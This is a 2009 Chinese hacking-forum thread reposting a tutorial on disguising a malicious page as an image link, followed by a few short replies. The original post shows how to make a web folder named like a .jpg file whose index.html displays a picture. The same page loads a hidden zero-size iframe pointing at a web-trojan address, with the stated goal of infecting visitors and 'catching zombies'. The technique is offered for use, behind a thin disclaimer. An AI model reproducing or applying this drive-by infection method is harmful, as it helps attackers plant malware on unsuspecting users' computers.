图片背后的链接[希望版主能加精]

社区服务
高级搜索
猴岛论坛电脑百科图片背后的链接[希望版主能加精]
发帖 回复
正序阅读 最近浏览的帖子最近浏览的版块
4个回复

图片背后的链接[希望版主能加精]

楼层直达
happylove11

ZxID:1328382

等级: 上校
态度决定一切

举报 只看楼主 使用道具 楼主   发表于: 2009-04-27 0
— 本帖被 再见喜雨。 执行锁定操作(2009-05-01) —
摘自:Solar-fly [S.N.T]
在我还不知道灰鸽子是什么的时候,网马就很流行了,当我终于知道灰鸽子是什么的时候,盗QQ软件都在使用邮箱收信了,当我使用灰鸽子成功上线并抓到第一只肉鸡的时候,网马批量抓肉鸡就都已经满天飞了……难道我学的技术都过时了吗?后来当我成为大鸟的时候我终于想通了这个道理:“没有过时的技术,只有过时的思想”!
下面就请看我如何利用过时的方法来体现出技术的价值。我所需要的只是一张图片和一个web环境而已。
首先,搭建一个web环境,我使用的是小旋风ASP服务器,感觉这个比较方便,操作也简单,不像IIS那样又要用光盘又要重启的。打开安装程序,如图1,基本上一路点击“下一步”就可以了,它的默认安装路径是“C:\Program Files\小旋风AspWebServer”,安装完成后,如果我们在IE浏览器中打开127.0.0.1出现了如图2所示的这样一个页面就说明环境已经搭建好了。


接下来在小旋风的根目录下新建一个以.jpg结尾的文件夹,比如snight.jpg,如图3,然后在snight.jpg文件夹下再新建一个index.html的网页文件。我们重新使用IE浏览器访问一下http://127.0.0.1/snight.jpg看看,发现了什么没有?如图4。


现在大家应该想到了什么吧,我们再向index.html里添加一张图片,代码是<img src=”1.jpg”></img>,如图5。重新打开这个链接http://127.0.0.1/snight.jpg,看到图片了吧,如图6。


要是这样也没什么利用价值,那我们接下来就把挂马的地址也添加进去,代码就是<iframe src=”网马地址”height=0 width=0></iframe>,如图7。现在就行了,点击你的“图片”地址,这时你一定要注意网页的左下角的变化,如图8。


看到了吗?跳转目录,再跳转文件,再打开网页,最后只显示图片。这时你应该明白了吧,就是利用Html里默认的优先级关系来达到我们隐蔽挂马的目的。
这也算是图片欺骗的一种方法吧,本文我只是给大家做了个简单的小例子,使用的也是最简单的框架挂马。具体还可以用在哪个地方就请大家自由发挥吧,总之还是哪句话:“刀可以杀人,亦可以救人”,道理都是一样的。
本帖de评分: 1 条评分 DB +10
DB+10

^_^  辛苦了。

36811503

ZxID:2578468

等级: 列兵
举报 只看该作者 4楼  发表于: 2009-04-29 0
想学,但偶不会哈,可愿教教呀?
p5983732

ZxID:6151435

等级: 新兵
举报 只看该作者 地板   发表于: 2009-04-28 0
dsadadada

楼主留言:

楼主请不要回复无关信息。

再见喜雨。

ZxID:1480534

等级: 元老

举报 只看该作者 板凳   发表于: 2009-04-28 0
最近google可以图片挂马

楼主留言:

呵呵,中有一些人会做这些。


happylove11

ZxID:1328382

等级: 上校
态度决定一切

举报 只看该作者 沙发   发表于: 2009-04-27 0
自己支持下,有望版主将此贴加精。
« 返回列表
发帖 回复